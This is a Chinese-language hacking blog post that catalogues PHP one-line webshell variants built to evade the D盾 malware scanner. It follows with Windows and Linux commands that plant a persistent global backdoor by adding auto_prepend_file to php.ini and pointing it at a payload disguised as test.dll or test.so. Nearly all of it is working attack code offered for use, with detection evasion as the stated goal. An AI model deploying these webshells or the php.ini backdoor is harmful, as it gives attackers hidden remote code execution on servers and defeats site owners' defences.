OneLine常见变形及PHP.ini全局后门
OneLine常见变形及PHP.ini全局后门
author: ZX@NixItEam
一
我对一句话的偏爱程度是高于大马的:一是因其依赖于菜刀的管理模式对健忘的我来说很方便,二就是他短小精干可以随便插♂入带来的隐蔽性堪称杀敌利器。大概别人与我想法类似,以至于让一句话长期处于风头浪尖,成为各厂商重点扑杀对象。虽然,PHP作为一门丑陋且强大的语言,其灵活程度仍远非写死的规则可以判断,故有过狗一说。
过狗也并非是针对安全狗,只是叫惯了习以为常。所以这里用测试起来比较顺手且查杀率还算能用的D盾作为检测标准。
统计我从网络搜集的过狗姿势,皆为通过使用某些PHP特性来规避关键字,大致分为三类:字符串拼接、变量拼接、函数变形。
其中单一混淆多已被识别,如:
<?php
$a=str_replace("nixi", "", "assnixinixiert");
$a($_POST['nixi']);
?>
其中因符合可变函数的规则,其变量值会被还原为assert,判断为后门:

但是通过猜测可变函数的匹配规则[$]\w+[=]\w+[(].+[)],简单变形为
<?php
str_replace("nixi", "", "assnixinixiert")($_POST['nixi']);
?>
即可绕过机器判断,实现过狗:

以下为常见混淆方式。
通过混用其中几种,或可达到过狗的效果;然而毕竟已是「常见」,自然也会被盯上。反而是一些晦涩古奥的写法更容易通过。
字符串拼接
- 连接符 .
<?php
$a="ass";
$b="ert";
$c=$a.$b;
$c($_POST['nixi']);
?>
- 连接符 "{}"
<?php
$a="ass";
$b="ert";
$c="{$a}{$b}";
$c($_POST['nixi']);
?>
- str_replace
<?php
$a=str_replace("nixi", "", "assnixinixiert");
$a($_POST['nixi']);
?>
- base64_decode
<?php
$str='YXNzZXJ0';
$a=base64_decode($str);
$a($_POST['nixi']);
?>
变量拼接
<?php
$a="assert";
$a($_POST['nixi']);
?>
<?php
$bb="assert";
$aa="bb";
$$aa($_POST['nixi']);
?>
- parse_str
<?php
$str="a=assert";
parse_str($str);
$a($_POST['nixi']);
?>
函数变形
- create_function
<?php
$func=create_function('', $_POST['nixi']);
$func();
?>
- call_user_func
<?php
@call_user_func(assert, $_POST['nixi']);
// @call_user_func_array(assert, array($_POST['nixi']));
// @array_map(assert, array($_REQUEST[nixi']));
?>
- function
<?php
function fun()
{return $_POST['nixi'];}
assert(fun());
?>
- extract
<?php
extract($_REQUEST);
$ni($xi);
?>
// ni=assert&xi=phpinfo()
- preg_replace
<?php
preg_replace_callback("a", eval($_POST['nixi']), "b");
?>
// This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.
二
PHP.ini全局挂马,一个挺好用的小姿势。
PHP.ini中有配置项auto_prepend_file,开启后加载任意文件前先加载该配置项指定文件,且因PHP.ini又臭又长,多数运维在维护服务器的时候是不乐意全文阅读的,这就是可趁之机:把一句话插在里面,再丢到一个隐蔽的位置藏起来,无敌。
Windows
因phpstudy搭建方便,以此为例。
- Find php.ini:
c:\phpStudy\php\php-5.4.45\php.exe -i | find "Loaded Configuration File"
- Append payload to php.ini:
echo auto_prepend_file = "c:\test.dll" >> c:\php.ini
- Generate test.dll:
echo ^<?php @call_user_func(assert, $_REQUEST['nixi']); ?^> > c:\test.dll
- Restart php/php-fpm:
balabala...
Linux
php在不同架构下命令稍有区别,nginx下为php-fpm,apache下为php。
- Find php.ini:
php-fpm -i | grep 'Loaded Configuration File'
OR
php -i | grep 'Loaded Configuration File'
- Append payload to php.ini:
echo auto_prepend_file = \"/tmp/test.so\" >> /etc/php/7.0/fpm/php.ini
- Generate test.so:
echo '<?php @call_user_func(assert, $_REQUEST["nixi"]); ?>' > /tmp/test.so
- Restart apache/nginx/php-fpm:
service php7.0-fpm restart

浙公网安备 33010602011771号